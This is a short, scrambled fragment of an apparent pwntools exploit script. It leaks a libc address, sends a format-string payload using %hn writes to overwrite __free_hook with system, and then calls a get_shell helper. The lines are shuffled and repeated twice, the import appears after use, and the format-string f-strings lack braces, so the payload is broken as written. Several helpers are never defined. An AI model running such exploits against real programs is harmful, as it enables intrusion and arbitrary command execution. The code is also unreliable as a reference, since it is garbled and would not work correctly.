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# Build the format string payload = b'A'*8 payload += f"%lowc%8$hn".encode() payload += f"%diffc%9$hn".encode() payload += b'B'*8 payload += p64(free_hook) # 8th argument payload += p64(free_hook + 2) # 9th argument
# 1️⃣ Leak libc libc_base = leak_libc(io)
io.sendlineafter(b'> ', b'echo ' + payload) io.recvuntil(b'> ') # sync back to prompt
# 3️⃣ Get a shell get_shell(io)
from pwn import *
# 2️⃣ Overwrite __free_hook with system write_free_hook(io, libc_base)
# Build the format string payload = b'A'*8 payload += f"%lowc%8$hn".encode() payload += f"%diffc%9$hn".encode() payload += b'B'*8 payload += p64(free_hook) # 8th argument payload += p64(free_hook + 2) # 9th argument
# 1️⃣ Leak libc libc_base = leak_libc(io)
io.sendlineafter(b'> ', b'echo ' + payload) io.recvuntil(b'> ') # sync back to prompt
# 3️⃣ Get a shell get_shell(io)
from pwn import *
# 2️⃣ Overwrite __free_hook with system write_free_hook(io, libc_base)
